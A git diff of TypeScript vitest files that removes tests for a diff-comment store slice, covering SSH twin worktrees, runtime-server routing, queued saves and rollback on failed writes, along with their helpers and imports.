 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { toast } from 'sonner'
 import type { DiffComment } from '../../../../../shared/diff-comment-types'
 import type { Repo } from '../../../../../shared/repo-types'
 import type { Worktree } from '../../../../../shared/worktree/types'
-import { toSshExecutionHostId } from '../../../../../shared/execution-host'
+import '../../../../../shared/execution-host'
 import { createTestStore } from '../../testing/app-store-test-fixture'
-import { selectWorktreeDiffCommentsOrEmpty } from './worktree-diff-comments-selector'
 
 vi.mock('../../../runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => ({
   ...(await importOriginal<typeof RuntimeRpcCallModule>()),
@@ -95,23 +85,6 @@ function rowNotes(store: ReturnType<typeof createTwinStore>, hostId: string): st
   return (row?.diffComments ?? []).map((comment) => comment.body)
 }
 
-function addNote(store: ReturnType<typeof createTwinStore>) {
-  return addNoteFor(store, capturedOwner(store, WT))
-}
-
-function addNoteFor(store: ReturnType<typeof createTwinStore>, owner: DiffCommentOwner | null) {
-  if (!owner) {
-    throw new Error('no workspace')
-  }
-  return store.getState().addDiffComment(owner, {
-    worktreeId: WT,
-    filePath: 'README.md',
-    lineNumber: 1,
-    body: 'ssh note',
-    side: 'modified'
-  })
-}
-
 beforeEach(() => {
   vi.mocked(callRuntimeRpc).mockClear()
   vi.mocked(toast.error).mockClear()
@@ -120,197 +93,6 @@ beforeEach(() => {
   updateMeta.mockResolvedValue({})
 })
 
-describe('diff comments on twin worktrees', () => {
-  it('saves to the open twin and names its host', async () => {
-    const store = createTwinStore('ssh:box')
-
-    expect(await addNote(store)).not.toBeNull()
-
-    expect(rowNotes(store, 'ssh:box')).toEqual(['ssh note'])
-    expect(rowNotes(store, 'local')).toEqual([])
-    // What the notes panel and diff gutters render.
-    expect(selectWorktreeDiffCommentsOrEmpty(store.getState(), WT).map((c) => c.body)).toEqual([
-      'ssh note'
-    ])
-    expect(updateMeta).toHaveBeenCalledWith(
-      expect.objectContaining({ worktreeId: WT, executionHostId: 'ssh:box' })
-    )
-  })
-
-  it('rolls back only the twin it wrote', async () => {
-    const store = createTwinStore('ssh:box')
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [worktree('local', [note('l1', 'local note')]), worktree('ssh:box')]
-      }
-    })
-    updateMeta.mockRejectedValueOnce(new Error('write failed'))
-
-    expect(await addNote(store)).toBeNull()
-
-    expect(rowNotes(store, 'ssh:box')).toEqual([])
-    expect(rowNotes(store, 'local')).toEqual(['local note'])
-  })
-
-  it('drops a queued save whose twin left, instead of writing the other copy under its host', async () => {
-    const store = createTwinStore('ssh:box')
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [worktree('local', [note('l1', 'local note')]), worktree('ssh:box')]
-      }
-    })
-
-    const pending = addNote(store)
-    store.setState({ worktreesByRepo: { [REPO]: [worktree('local', [note('l1', 'local note')])] } })
-
-    expect(await pending).toBeNull()
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(rowNotes(store, 'local')).toEqual(['local note'])
-  })
-
-  it('keeps one queue for a copy when its twin leaves between saves', async () => {
-    const store = createTwinStore('ssh:box')
-    updateMeta.mockRejectedValue(new Error('write failed'))
-
-    const first = addNote(store)
-    // The local copy goes before the second save, so the SSH copy is the only row left.
-    store.setState({ worktreesByRepo: { [REPO]: [store.getState().worktreesByRepo[REPO][1]] } })
-    const second = addNote(store)
-
-    expect(await first).toBeNull()
-    expect(await second).toBeNull()
-    expect(rowNotes(store, 'ssh:box')).toEqual([])
-  })
-
-  it('writes every duplicated row of one copy, so reads see the note', async () => {
-    const store = createTwinStore(null)
-    store.setState({ worktreesByRepo: { [REPO]: [worktree('local'), worktree('local')] } })
-
-    expect(await addNote(store)).not.toBeNull()
-
-    expect(
-      store
-        .getState()
-        .getDiffComments(WT)
-        .map((c) => c.body)
-    ).toEqual(['ssh note'])
-  })
-
-  it('keeps saves in order when a listing stamps the row mid-burst', async () => {
-    const store = createTwinStore('local')
-    store.setState({ worktreesByRepo: { [REPO]: [worktree(undefined)] } })
-    let releaseFirst = () => {}
-    updateMeta.mockImplementationOnce(
-      () => new Promise((resolve) => (releaseFirst = () => resolve({})))
-    )
-
-    const first = addNote(store)
-    const [row] = store.getState().worktreesByRepo[REPO]
-    store.setState({ worktreesByRepo: { [REPO]: [{ ...row, hostId: 'local' }] } })
-    const second = addNote(store)
-    await Promise.resolve()
-
-    // The second save waits for the first, so the newer list is written last.
-    expect(updateMeta).toHaveBeenCalledTimes(1)
-    releaseFirst()
-    await Promise.all([first, second])
-    expect(updateMeta).toHaveBeenCalledTimes(2)
-    expect(updateMeta.mock.calls[1][0].updates.diffComments).toHaveLength(2)
-  })
-
-  it('rolls a failed burst back to disk when a listing stamps the row mid-burst', async () => {
-    const store = createTwinStore('local')
-    store.setState({ worktreesByRepo: { [REPO]: [worktree(undefined)] } })
-    updateMeta.mockRejectedValue(new Error('write failed'))
-
-    const first = addNote(store)
-    const [row] = store.getState().worktreesByRepo[REPO]
-    store.setState({ worktreesByRepo: { [REPO]: [{ ...row, hostId: 'local' }] } })
-    const second = addNote(store)
-
-    expect(await first).toBeNull()
-    expect(await second).toBeNull()
-    expect(rowNotes(store, 'local')).toEqual([])
-  })
-
-  it("rolls a failed twin write back to its own notes, not the other twin's", async () => {
-    const store = createTwinStore('local')
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [worktree('local'), worktree('ssh:box', [note('s1', 'ssh note 1')])]
-      }
-    })
-    let failLocal = (_err: Error) => {}
-    updateMeta.mockImplementationOnce(() => new Promise((_resolve, reject) => (failLocal = reject)))
-
-    const local = addNote(store)
-    store.setState({ activeWorkspaceExecutionHostId: 'ssh:box' })
-    const ssh = addNote(store)
-    await vi.waitFor(() => expect(updateMeta).toHaveBeenCalledTimes(1))
-    failLocal(new Error('write failed'))
-
-    expect(await local).toBeNull()
-    expect(await ssh).not.toBeNull()
-    expect(rowNotes(store, 'local')).toEqual([])
-    expect(rowNotes(store, 'ssh:box')).toEqual(['ssh note 1', 'ssh note'])
-  })
-
-  it('reports a save main refused as failed and rolls it back', async () => {
-    const store = createTwinStore('ssh:box')
-    updateMeta.mockResolvedValueOnce(null)
-
-    expect(await addNote(store)).toBeNull()
-
-    expect(rowNotes(store, 'ssh:box')).toEqual([])
-  })
-
-  it('refuses a note-id change on an unstamped twin rather than route it by the open one', async () => {
-    const store = createTwinStore('ssh:box')
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [worktree(undefined, [note('u1', 'unstamped')]), worktree('ssh:box')]
-      }
-    })
-
-    await store.getState().deleteDiffComment(capturedOwner(store, WT), 'u1')
-
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo[REPO][0].diffComments?.map((c) => c.body)).toEqual([
-      'unstamped'
-    ])
-  })
-
-  it('never sends a copy listed after a queued save, even after a refresh replaced its notes', async () => {
-    const store = createTwinStore('local')
-    store.setState({ worktreesByRepo: { [REPO]: [worktree('local')] } })
-    let releaseFirst = () => {}
-    updateMeta.mockImplementationOnce(
-      () => new Promise((resolve) => (releaseFirst = () => resolve({})))
-    )
-
-    const first = addNote(store)
-    const second = addNote(store)
-    await vi.waitFor(() => expect(updateMeta).toHaveBeenCalledTimes(1))
-    // A refresh rebuilds the local row's list and lists an SSH copy, which the user opens.
-    const [local] = store.getState().worktreesByRepo[REPO]
-    store.setState({
-      activeWorkspaceExecutionHostId: 'ssh:box',
-      worktreesByRepo: {
-        [REPO]: [
-          { ...local, diffComments: [...(local.diffComments ?? [])] },
-          worktree('ssh:box', [note('s1', 'remote')])
-        ]
-      }
-    })
-    releaseFirst()
-    await Promise.all([first, second])
-
-    const sent = updateMeta.mock.calls[1][0]
-    expect(sent.executionHostId).toBe('local')
-    expect(sent.updates.diffComments.map((c: DiffComment) => c.body)).not.toContain('remote')
-  })
-})
-
 function capturedOwner(store: { getState: () => AppState }, worktreeId: string): DiffCommentOwner {
   const { owner } = selectDiffCommentView(store.getState(), worktreeId, 'selection')
   if (!owner) {
@@ -320,204 +102,6 @@ function capturedOwner(store: { getState: () => AppState }, worktreeId: string):
 }
 
 describe('captured note owners across delivery and selection', () => {
-  it('clears only the sent twin after deferred delivery and isolates the in-flight key', async () => {
-    const store = createTwinStore('ssh:box')
-    const sent = note('same-id', 'same body')
-    store.setState({
-      worktreesByRepo: { [REPO]: [worktree('local', [sent]), worktree('ssh:box', [sent])] }
-    })
-    const ownerA = capturedOwner(store, WT)
-    let deliver = (_result: { delivered: boolean }) => {}
-    const delivered = new Promise<{ delivered: boolean }>((resolve) => {
-      deliver = resolve
-    })
-    let cleared: Promise<boolean> | undefined
-    holdNotesForSend([diffCommentSendKey(ownerA, sent)], delivered, () => {
-      cleared = store.getState().clearDeliveredDiffComments(ownerA, [sent])
-    })
-    store.setState({ activeWorkspaceExecutionHostId: 'local' })
-    const ownerB = capturedOwner(store, WT)
-    expect(isNoteInFlight(diffCommentSendKey(ownerA, sent))).toBe(true)
-    expect(isNoteInFlight(diffCommentSendKey(ownerB, sent))).toBe(false)
-    deliver({ delivered: true })
-    await delivered
-    expect(await cleared).toBe(true)
-    expect(rowNotes(store, 'ssh:box')).toEqual([])
-    expect(rowNotes(store, 'local')).toEqual(['same body'])
-    expect(updateMeta).toHaveBeenCalledExactlyOnceWith({
-      worktreeId: WT,
-      executionHostId: 'ssh:box',
-      updates: { diffComments: [] }
-    })
-    expect(isNoteInFlight(diffCommentSendKey(ownerA, sent))).toBe(false)
-  })
-
-  it('keeps add and delete on the captured host after selection changes', async () => {
-    const store = createTwinStore('ssh:box')
-    const owner = capturedOwner(store, WT)
-    store.setState({ activeWorkspaceExecutionHostId: 'local' })
-    const saved = await store.getState().addDiffComment(owner, {
-      worktreeId: WT,
-      filePath: 'a',
-      lineNumber: 1,
-      body: 'captured',
-      side: 'modified'
-    })
-    expect(saved).not.toBeNull()
-    if (!saved) {
-      throw new Error('save failed')
-    }
-    await store.getState().deleteDiffComment(owner, saved.id)
-    expect(rowNotes(store, 'local')).toEqual([])
-    expect(rowNotes(store, 'ssh:box')).toEqual([])
-    expect(updateMeta).toHaveBeenCalledTimes(2)
-    expect(updateMeta.mock.calls.every(([args]) => args.executionHostId === 'ssh:box')).toBe(true)
-  })
-
-  it('keeps a composer opened before its SSH copy lists on that copy, never a local row listed first', async () => {
-    const store = createTwinStore('ssh:box')
-    store.setState({ worktreesByRepo: { [REPO]: [worktree('local', [note('l1', 'local')])] } })
-    const view = selectDiffCommentView(store.getState(), WT, 'selection')
-    // Unknown, not empty: the selected copy is not listed, and its sibling's notes are not shown.
-    expect(view.comments).toBeUndefined()
-
-    store.setState({
-      activeWorkspaceExecutionHostId: 'local',
-      worktreesByRepo: { [REPO]: [worktree(undefined, [note('l1', 'local only')])] }
-    })
-    expect(await addNoteFor(store, view.owner)).toBeNull()
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo[REPO][0].diffComments?.map((c) => c.body)).toEqual([
-      'local only'
-    ])
-
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [worktree(undefined, [note('l1', 'local only')]), worktree('ssh:box')]
-      }
-    })
-    expect(await addNoteFor(store, view.owner)).not.toBeNull()
-    expect(updateMeta).toHaveBeenCalledExactlyOnceWith({
-      worktreeId: WT,
-      executionHostId: 'ssh:box',
-      updates: { diffComments: [expect.objectContaining({ body: 'ssh note' })] }
-    })
-  })
-
-  it('keeps a paired SSH capture through its server stamp: queued save, rollback, Send cleanup', async () => {
-    const store = createTwinStore('ssh:box')
-    const sent = note('n1', 'sent')
-    store.setState({
-      repos: [{ ...repoBase, connectionId: 'box', executionHostId: 'runtime:hub' }],
-      worktreesByRepo: { [REPO]: [worktree('ssh:box', [sent])] }
-    })
-    const owner = capturedOwner(store, WT)
-    let fail = () => {}
-    vi.mocked(callRuntimeRpc).mockImplementationOnce(
-      () => new Promise((_resolve, reject) => (fail = () => reject(new Error('unreachable'))))
-    )
-    const pending = addNoteFor(store, owner)
-    // The listing confirms the server already captured, before the queued save reads the list.
-    const [row] = store.getState().worktreesByRepo[REPO]
-    store.setState({ worktreesByRepo: { [REPO]: [{ ...row, runtimeOwnerEnvironmentId: 'hub' }] } })
-    expect(diffCommentOwnerKey(capturedOwner(store, WT))).toBe(diffCommentOwnerKey(owner))
-    await vi.waitFor(() => expect(callRuntimeRpc).toHaveBeenCalledTimes(1))
-    expect(vi.mocked(callRuntimeRpc).mock.calls[0][2]).toMatchObject({
-      diffComments: [{ body: 'sent' }, { body: 'ssh note' }]
-    })
-    fail()
-
-    expect(await pending).toBeNull()
-    expect(store.getState().worktreesByRepo[REPO][0].diffComments).toEqual([sent])
-    expect(await store.getState().clearDeliveredDiffComments(owner, [sent])).toBe(true)
-    expect(store.getState().worktreesByRepo[REPO][0].diffComments).toEqual([])
-    expect(callRuntimeRpc).toHaveBeenLastCalledWith(
-      { kind: 'environment', environmentId: 'hub' },
-      'worktree.set',
-      expect.objectContaining({ diffComments: [] }),
-      expect.anything()
-    )
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(toast.error).not.toHaveBeenCalled()
-
-    // A rival server proxying the same target is another copy.
-    store.setState({
-      activeWorkspaceExecutionHostId: 'runtime:hub-b',
-      worktreesByRepo: {
-        [REPO]: [
-          ...store.getState().worktreesByRepo[REPO],
-          { ...worktree('ssh:box'), runtimeOwnerEnvironmentId: 'hub-b' }
-        ]
-      }
-    })
-    expect(diffCommentOwnerKey(capturedOwner(store, WT))).not.toBe(diffCommentOwnerKey(owner))
-  })
-
-  it('keeps a legacy unstamped paired row on its nested copy through confirming stamps', async () => {
-    const store = createTwinStore('runtime:hub')
-    const sent = note('n1', 'sent')
-    store.setState({
-      repos: [{ ...repoBase, connectionId: 'box', executionHostId: 'runtime:hub' }],
-      worktreesByRepo: { [REPO]: [worktree(undefined, [sent])] }
-    })
-    const owner = capturedOwner(store, WT)
-    expect(owner).toMatchObject({
-      authority: { endpoint: { kind: 'environment', environmentId: 'hub' }, at: 'ssh:box' }
-    })
-    let fail = () => {}
-    vi.mocked(callRuntimeRpc).mockImplementationOnce(
-      () => new Promise((_resolve, reject) => (fail = () => reject(new Error('unreachable'))))
-    )
-    const pending = addNoteFor(store, owner)
-    const [row] = store.getState().worktreesByRepo[REPO]
-    store.setState({
-      worktreesByRepo: {
-        [REPO]: [{ ...row, hostId: 'ssh:box', runtimeOwnerEnvironmentId: 'hub' }]
-      }
-    })
-    expect(diffCommentOwnerKey(capturedOwner(store, WT))).toBe(diffCommentOwnerKey(owner))
-    await vi.waitFor(() => expect(callRuntimeRpc).toHaveBeenCalledTimes(1))
-    fail()
-
-    expect(await pending).toBeNull()
-    expect(store.getState().worktreesByRepo[REPO][0].diffComments).toEqual([sent])
-    expect(await store.getState().clearDeliveredDiffComments(owner, [sent])).toBe(true)
-    expect(callRuntimeRpc).toHaveBeenLastCalledWith(
-      { kind: 'environment', environmentId: 'hub' },
-      'worktree.set',
-      expect.objectContaining({ diffComments: [] }),
-      expect.anything()
-    )
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  it('keeps a restored external SSH target whose id needs encoding on its own listed copy', async () => {
-    const hostId = toSshExecutionHostId('user@box')
-    const store = createTwinStore(hostId)
-    store.setState({
-      repos: [{ ...repoBase, connectionId: 'user@box', executionHostId: hostId }],
-      worktreesByRepo: { [REPO]: [worktree(hostId, [note('n1', 'listed')])] }
-    })
-    const view = selectDiffCommentView(store.getState(), WT, {
-      runtimeEnvironmentId: null,
-      externalSshTargetId: 'user@box'
-    })
-
-    expect(view.comments?.map((comment) => comment.body)).toEqual(['listed'])
-    expect(await addNoteFor(store, view.owner)).not.toBeNull()
-    expect(updateMeta).toHaveBeenCalledExactlyOnceWith({
-      worktreeId: WT,
-      executionHostId: hostId,
-      updates: {
-        diffComments: [
-          expect.objectContaining({ body: 'listed' }),
-          expect.objectContaining({ body: 'ssh note' })
-        ]
-      }
-    })
-  })
-
   it('refuses every mutation when the captured twin was removed', async () => {
     const store = createTwinStore('ssh:box')
     const sent = note('same-id', 'same body')
@@ -539,29 +123,3 @@ describe('captured note owners across delivery and selection', () => {
     expect(updateMeta).not.toHaveBeenCalled()
   })
 })
-
-it('keeps the paired server write authority when two servers proxy the same target', async () => {
-  const store = createTwinStore('runtime:hub-a')
-  const sent = note('same-id', 'same body')
-  store.setState({
-    worktreesByRepo: {
-      [REPO]: [
-        { ...worktree('ssh:box', [sent]), runtimeOwnerEnvironmentId: 'hub-a' },
-        { ...worktree('ssh:box', [sent]), runtimeOwnerEnvironmentId: 'hub-b' }
-      ]
-    }
-  })
-  const owner = capturedOwner(store, WT)
-  store.setState({ activeWorkspaceExecutionHostId: 'runtime:hub-b' })
-  expect(await store.getState().clearDeliveredDiffComments(owner, [sent])).toBe(true)
-  expect(store.getState().worktreesByRepo[REPO].map((row) => row.diffComments?.length)).toEqual([
-    0, 1
-  ])
-  expect(callRuntimeRpc).toHaveBeenCalledExactlyOnceWith(
-    { kind: 'environment', environmentId: 'hub-a' },
-    'worktree.set',
-    expect.objectContaining({ diffComments: [] }),
-    { timeoutMs: 15_000 }
-  )
-  expect(updateMeta).not.toHaveBeenCalled()
-})
diff --git a/src/renderer/src/store/slices/diff-comments/diffComments.test.ts b/src/renderer/src/store/slices/diff-comments/diffComments.test.ts
index b4e0c781b3b..daec4f004f9 100644
--- a/src/renderer/src/store/slices/diff-comments/diffComments.test.ts
+++ b/src/renderer/src/store/slices/diff-comments/diffComments.test.ts
@@ -156,150 +156,6 @@ function seed(
   })
 }
 
-describe('updateDiffComment', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    clearRuntimeCompatibilityCacheForTests()
-    runtimeEnvironmentTransportCall.mockReset()
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      return createCompatibleRuntimeStatusResponseIfNeeded(args) ?? runtimeEnvironmentCall(args)
-    })
-    updateMeta.mockResolvedValue({})
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-1',
-      ok: true,
-      result: { ok: true },
-      _meta: { runtimeId: 'remote-runtime' }
-    })
-  })
-
-  it('updates the body, trims it, and persists', async () => {
-    const store = createTestStore()
-    const original: DiffComment = {
-      id: 'c1',
-      worktreeId: WT,
-      filePath: 'src/foo.ts',
-      lineNumber: 10,
-      body: 'old body',
-      createdAt: 1000,
-      sentAt: 2000,
-      side: 'modified'
-    }
-    seed(store, [original])
-
-    const ok = await store
-      .getState()
-      .updateDiffComment(capturedOwner(store, WT), 'c1', '  new body  ')
-
-    expect(ok).toBe(true)
-    const saved = store.getState().getDiffComments(WT)[0]
-    expect(saved.body).toBe('new body')
-    expect(saved.id).toBe('c1')
-    expect(saved.lineNumber).toBe(10)
-    expect(saved.createdAt).toBe(1000)
-    expect(saved.sentAt).toBeUndefined()
-    expect(updateMeta).toHaveBeenCalledTimes(1)
-  })
-
-  it('rejects an empty body without persisting', async () => {
-    const store = createTestStore()
-    seed(store, [
-      {
-        id: 'c1',
-        worktreeId: WT,
-        filePath: 'src/foo.ts',
-        lineNumber: 10,
-        body: 'old body',
-        createdAt: 1000,
-        side: 'modified'
-      }
-    ])
-
-    const ok = await store.getState().updateDiffComment(capturedOwner(store, WT), 'c1', '   ')
-
-    expect(ok).toBe(false)
-    expect(store.getState().getDiffComments(WT)[0].body).toBe('old body')
-    expect(updateMeta).not.toHaveBeenCalled()
-  })
-
-  it('rolls back on persist failure', async () => {
-    const store = createTestStore()
-    seed(store, [
-      {
-        id: 'c1',
-        worktreeId: WT,
-        filePath: 'src/foo.ts',
-        lineNumber: 10,
-        body: 'old body',
-        createdAt: 1000,
-        side: 'modified'
-      }
-    ])
-    updateMeta.mockRejectedValueOnce(new Error('disk full'))
-    const errSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    const ok = await store.getState().updateDiffComment(capturedOwner(store, WT), 'c1', 'new body')
-
-    expect(ok).toBe(false)
-    expect(store.getState().getDiffComments(WT)[0].body).toBe('old body')
-    errSpy.mockRestore()
-  })
-})
-
-describe('clearDeliveredDiffComments', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    clearRuntimeCompatibilityCacheForTests()
-    runtimeEnvironmentTransportCall.mockReset()
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      return createCompatibleRuntimeStatusResponseIfNeeded(args) ?? runtimeEnvironmentCall(args)
-    })
-    updateMeta.mockResolvedValue({})
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-1',
-      ok: true,
-      result: { ok: true },
-      _meta: { runtimeId: 'remote-runtime' }
-    })
-  })
-
-  it('keeps a note that changed while delivery was pending', async () => {
-    const store = createTestStore()
-    const sentSnapshot = makeComment({ id: 'c1', body: 'old body' })
-    const edited = makeComment({ id: 'c1', body: 'new body' })
-    const delivered = makeComment({ id: 'c2', body: 'unchanged' })
-    seed(store, [edited, delivered])
-
-    const ok = await store
-      .getState()
-      .clearDeliveredDiffComments(capturedOwner(store, WT), [sentSnapshot, delivered])
-
-    expect(ok).toBe(true)
-    expect(store.getState().getDiffComments(WT)).toEqual([edited])
-    expect(updateMeta).toHaveBeenCalledWith({
-      executionHostId: 'local',
-      worktreeId: WT,
-      updates: { diffComments: [edited] }
-    })
-  })
-
-  it('rolls back delivered-note clearing on persist failure', async () => {
-    const store = createTestStore()
-    const comments = [makeComment({ id: 'c1' }), makeComment({ id: 'c2' })]
-    seed(store, comments)
-    updateMeta.mockRejectedValueOnce(new Error('disk full'))
-    const errSpy = vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    const ok = await store
-      .getState()
-      .clearDeliveredDiffComments(capturedOwner(store, WT), [comments[0]])
-
-    expect(ok).toBe(false)
-    expect(store.getState().getDiffComments(WT)).toBe(comments)
-    errSpy.mockRestore()
-  })
-})
-
 describe('bulk clear diff comments', () => {
   beforeEach(() => {
     vi.clearAllMocks()
@@ -317,33 +173,6 @@ describe('bulk clear diff comments', () => {
     })
   })
 
-  it('keeps markdown notes when asked, so a hidden markdown note survives a clear', async () => {
-    const store = createTestStore()
-    seed(store, [
-      makeComment({ id: 'diff', filePath: 'README.md' }),
-      makeComment({ id: 'md', filePath: 'README.md', source: 'markdown' }),
-      makeComment({ id: 'other', filePath: 'src/foo.ts' })
-    ])
-
-    await store
-      .getState()
-      .clearDiffCommentsForFile(capturedOwner(store, WT), 'README.md', { keepMarkdownNotes: true })
-    expect(
-      store
-        .getState()
-        .getDiffComments(WT)
-        .map((c) => c.id)
-    ).toEqual(['md', 'other'])
-
-    await store.getState().clearDiffComments(capturedOwner(store, WT), { keepMarkdownNotes: true })
-    expect(
-      store
-        .getState()
-        .getDiffComments(WT)
-        .map((c) => c.id)
-    ).toEqual(['md'])
-  })
-
   it('does not clobber a later comment array identity when rollback runs', async () => {
     const store = createTestStore()
     const comments = [makeComment({ id: 'c1' })]
@@ -418,37 +247,6 @@ describe('worktree diff comment rollback convergence', () => {
     expect(updateMeta).toHaveBeenCalledTimes(2)
     expect(store.getState().getDiffComments(WT)).toBe(comments)
   })
-
-  it('converges a mixed-mutator failing burst and still reports the delete failure', async () => {
-    const store = createTestStore()
-    const comments = [makeComment({ id: 'c1' }), makeComment({ id: 'c2' })]
-    seed(store, comments)
-    updateMeta.mockRejectedValue(new Error('disk full'))
-
-    const removed = store.getState().deleteDiffComment(capturedOwner(store, WT), 'c1')
-    const marked = store.getState().markDiffCommentsSent(capturedOwner(store, WT), ['c2'], 3000)
-
-    // deleteDiffComment returns no boolean; absent return must not hide write failures.
-    await expect(removed).resolves.toBeUndefined()
-    await expect(marked).resolves.toBe(false)
-    expect(store.getState().getDiffComments(WT)).toBe(comments)
-    expect(errSpy).toHaveBeenCalled()
-  })
-
-  it('converges on the runtime branch when two consecutive writes fail', async () => {
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-    const comments = [makeComment({ id: 'c1' })]
-    seed(store, comments, { hostId: 'local', runtimeOwnerEnvironmentId: 'env-1' })
-    runtimeEnvironmentCall.mockRejectedValue(new Error('runtime unreachable'))
-
-    await expect(Promise.all([addNote(store, 'A', 11), addNote(store, 'B', 12)])).resolves.toEqual([
-      null,
-      null
-    ])
-    expect(updateMeta).not.toHaveBeenCalled()
-    expect(store.getState().getDiffComments(WT)).toBe(comments)
-  })
 })
 
 function capturedOwner(store: { getState: () => AppState }, worktreeId: string): DiffCommentOwner {
diff --git a/src/renderer/src/store/slices/diff-comments/folder-workspace-diff-comments.test.ts b/src/renderer/src/store/slices/diff-comments/folder-workspace-diff-comments.test.ts
index 48f6d03e272..df7ce4f4f0c 100644
--- a/src/renderer/src/store/slices/diff-comments/folder-workspace-diff-comments.test.ts
+++ b/src/renderer/src/store/slices/diff-comments/folder-workspace-diff-comments.test.ts
@@ -6,17 +6,13 @@ import type { DiffComment } from '../../../../../shared/diff-comment-types'
 import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types'
 import type { ProjectGroup } from '../../../../../shared/project-group-types'
 import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
-import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import { SELF_LOCAL_AUTHORITY } from '../../../../../shared/host-authority'
 import {
   createCompatibleRuntimeStatusResponseIfNeeded,
   type RuntimeEnvironmentCallRequest
 } from '../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import {
-  clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests,
-  setRuntimeEnvironmentConnectionGenerationForTests
-} from '../runtime-status/runtime-status-connection-generation'
+import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '../runtime-status/runtime-status-connection-generation'
 
 import { createDiffCommentsSlice } from './create-diff-comments-slice'
 import { makeProjectGroup } from '@/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-fixtures'
@@ -92,31 +88,6 @@ function addNote(
   })
 }
 
-function folderNote(worktreeId: string, body: string): DiffComment {
-  return {
-    id: body,
-    worktreeId,
-    filePath: 'README.md',
-    lineNumber: 1,
-    body,
-    createdAt: 1,
-    side: 'modified'
-  }
-}
-
-function savedServer(id: string): PublicKnownRuntimeEnvironment {
-  return {
-    id,
-    name: id,
-    createdAt: 1,
-    updatedAt: 1,
-    lastUsedAt: null,
-    runtimeId: id,
-    endpoints: [{ id: 'ws', kind: 'websocket', label: 'WebSocket', endpoint: 'ws://server' }],
-    preferredEndpointId: 'ws'
-  }
-}
-
 function bodies(store: ReturnType<typeof createTestStore>, workspaceKey: string): string[] {
   return store
     .getState()
@@ -134,59 +105,6 @@ beforeEach(() => {
 })
 
 describe('folder workspace diff comments', () => {
-  it('preserves a second note while the first write is in flight', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    let releaseFirstWrite: (() => void) | undefined
-    const firstWrite = new Promise<void>((resolve) => {
-      releaseFirstWrite = resolve
-    })
-    folderWorkspacesUpdate.mockImplementation(async ({ updates }) => {
-      if (folderWorkspacesUpdate.mock.calls.length === 1) {
-        await firstWrite
-      }
-      return { ...folderWorkspace, ...updates }
-    })
-
-    const addFirst = store
-      .getState()
-      .addDiffComment(capturedOwner(store, folderWorkspaceKey(folderWorkspace.id)), {
-        worktreeId: folderWorkspaceKey(folderWorkspace.id),
-        filePath: 'README.md',
-        source: 'markdown',
-        lineNumber: 1,
-        body: 'first note',
-        side: 'modified'
-      })
-    await vi.waitFor(() => expect(folderWorkspacesUpdate).toHaveBeenCalledTimes(1))
-    const addSecond = store
-      .getState()
-      .addDiffComment(capturedOwner(store, folderWorkspaceKey(folderWorkspace.id)), {
-        worktreeId: folderWorkspaceKey(folderWorkspace.id),
-        filePath: 'README.md',
-        source: 'markdown',
-        lineNumber: 2,
-        body: 'second note',
-        side: 'modified'
-      })
-    releaseFirstWrite?.()
-
-    await Promise.all([addFirst, addSecond])
-    expect(store.getState().getDiffComments(folderWorkspaceKey(folderWorkspace.id))).toEqual([
-      expect.objectContaining({ body: 'first note' }),
-      expect.objectContaining({ body: 'second note' })
-    ])
-    expect(folderWorkspacesUpdate).toHaveBeenLastCalledWith({
-      folderWorkspaceId: folderWorkspace.id,
-      updates: {
-        diffComments: [
-          expect.objectContaining({ body: 'first note' }),
-          expect.objectContaining({ body: 'second note' })
-        ]
-      }
-    })
-  })
-
   it.each([false, true])(
     'keeps inherited same-id writes scoped to their original hosts, reversed=%s',
     async (reverse) => {
@@ -304,144 +222,6 @@ describe('folder workspace diff comment rollback convergence', () => {
     errSpy.mockRestore()
   })
 
-  it('converges to disk when two consecutive writes fail', async () => {
-    const store = createTestStore()
-    const folderWorkspace = seedLocalFolderWorkspace(store)
-    const key = folderWorkspaceKey(folderWorkspace.id)
-    let rejectFirst!: (err: Error) => void
-    folderWorkspacesUpdate.mockImplementation(() => {
-      if (folderWorkspacesUpdate.mock.calls.length === 1) {
-        return new Promise((_resolve, reject) => {
-          rejectFirst = reject
-        })
-      }
-      return Promise.reject(new Error('disk full'))
-    })
-
-    const addA = addNote(store, key, 'note A', 1)
-    await vi.waitFor(() => expect(folderWorkspacesUpdate).toHaveBeenCalledTimes(1))
-    const addB = addNote(store, key, 'note B', 2)
-    rejectFirst(new Error('disk full'))
-
-    await expect(Promise.all([addA, addB])).resolves.toEqual([null, null])
-    expect(folderWorkspacesUpdate).toHaveBeenCalledTimes(2)
-    expect(store.getState().getDiffComments(key)).toEqual([])
-  })
-
